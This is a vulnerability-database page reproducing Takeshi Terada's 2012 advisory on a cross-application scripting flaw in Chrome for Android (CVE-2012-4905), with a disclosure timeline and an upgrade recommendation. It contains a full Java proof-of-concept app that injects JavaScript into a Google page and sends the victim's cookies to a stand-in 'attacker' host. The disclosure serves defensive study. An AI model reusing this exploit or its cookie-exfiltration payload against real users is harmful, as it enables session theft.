| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2012-4905 | 12 Sep 201200:00 | – | circl | |
| CVE-2012-4905 | 13 Sep 201220:00 | – | cve | |
| CVE-2012-4905 | 13 Sep 201220:00 | – | cvelist | |
| CVE-2012-4905 | 13 Sep 201220:00 | – | debiancve | |
| EUVD-2012-4830 | 7 Oct 202500:30 | – | euvd | |
| CVE-2012-4905 | 13 Sep 201220:55 | – | nvd | |
| Cross site scripting | 13 Sep 201220:55 | – | prion | |
| CVE-2012-4905 | 22 May 202502:59 | – | redhatcve | |
| Chrome for Android - UXSS via com.android.browser.application_id Intent extra | 10 Jan 201300:00 | – | securityvulns | |
| Google Chrome for Android multiple security vulnerabilities | 10 Jan 201300:00 | – | securityvulns |
`CVE Number: CVE-2012-4905
Title: Chrome for Android - UXSS via com.android.browser.application_id Intent extra
Affected Software: Confirmed on Chrome for Android v18.0.1025123
Credit: Takeshi Terada
Issue Status: v18.0.1025308 was released which fixes this vulnerability
Overview:
By sending a crafted Intent to Chrome for Android, malicious Android apps can
inject javascript into arbitrary Web pages rendered in Chrome. Such kind of
UXSS-like vulnerabilities is often called Cross-Application Scripting.
Details:
When other Android apps send an Intent with javascript: URI to Chrome for
Android (v18.0.1025123), Chrome opens a new tab and execute the JavaScript
code in the context of the blank domain. Probably this is a countermeasure
against UXSS attacks.
However, this can be bypassed by an Intent with Extra data as below:
intent.putExtra("com.android.browser.application_id", "com.android.chrome");
With an Intent that contains such Extra data, Chrome loads javascript: URI
(written in the Intent) in the current foreground tab, not in a blank tab.
This enables malicious Android apps to execute arbitrary JavaScript code in
arbitrary domains on Chrome. As a result, other apps are able to steal Cookies
and so on.
Proof of Concept:
package jp.mbsd.terada.attackchrome1;
import android.app.Activity;
import android.os.Bundle;
import android.content.Intent;
import android.net.Uri;
public class Main extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
doit();
}
// get intent to invoke the chrome app
public Intent getIntentForChrome(String url) {
Intent intent = new Intent("android.intent.action.VIEW");
intent.setClassName("com.android.chrome", "com.google.android.apps.chrome.Main");
intent.setData(Uri.parse(url));
return intent;
}
public void doit() {
try {
// At first, force the chrome app to open a target Web page
Intent intent1 = getIntentForChrome("http://www.google.com/1");
startActivity(intent1);
// wait a few seconds
Thread.sleep(3000);
// JS code to inject into the target (www.google.com)
String jsURL = "javascript:var e=encodeURIComponent,img=document.createElement('img');"
+ "img.src='http://attacker/?c='+e(document.cookie)+'&d='+e(document.domain);"
+ "document.body.appendChild(img);";
Intent intent2 = getIntentForChrome(jsURL);
// Trick to prevent Chrome from opening the JS URL in a different tab
intent2.putExtra("com.android.browser.application_id", "com.android.chrome");
intent2.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
// Inject JS into the target Web page
startActivity(intent2);
}
catch (Exception e) {}
}
}
Timeline:
2012/07/07 Reported to Google security team.
2012/09/12 Vender announced v18.0.1025308
2013/01/07 Disclosure of this advisory
Recommendation:
Upgrade to the latest version.
Reference:
http://googlechromereleases.blogspot.jp/2012/09/chrome-for-android-update.html
https://code.google.com/p/chromium/issues/detail?id=144813
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation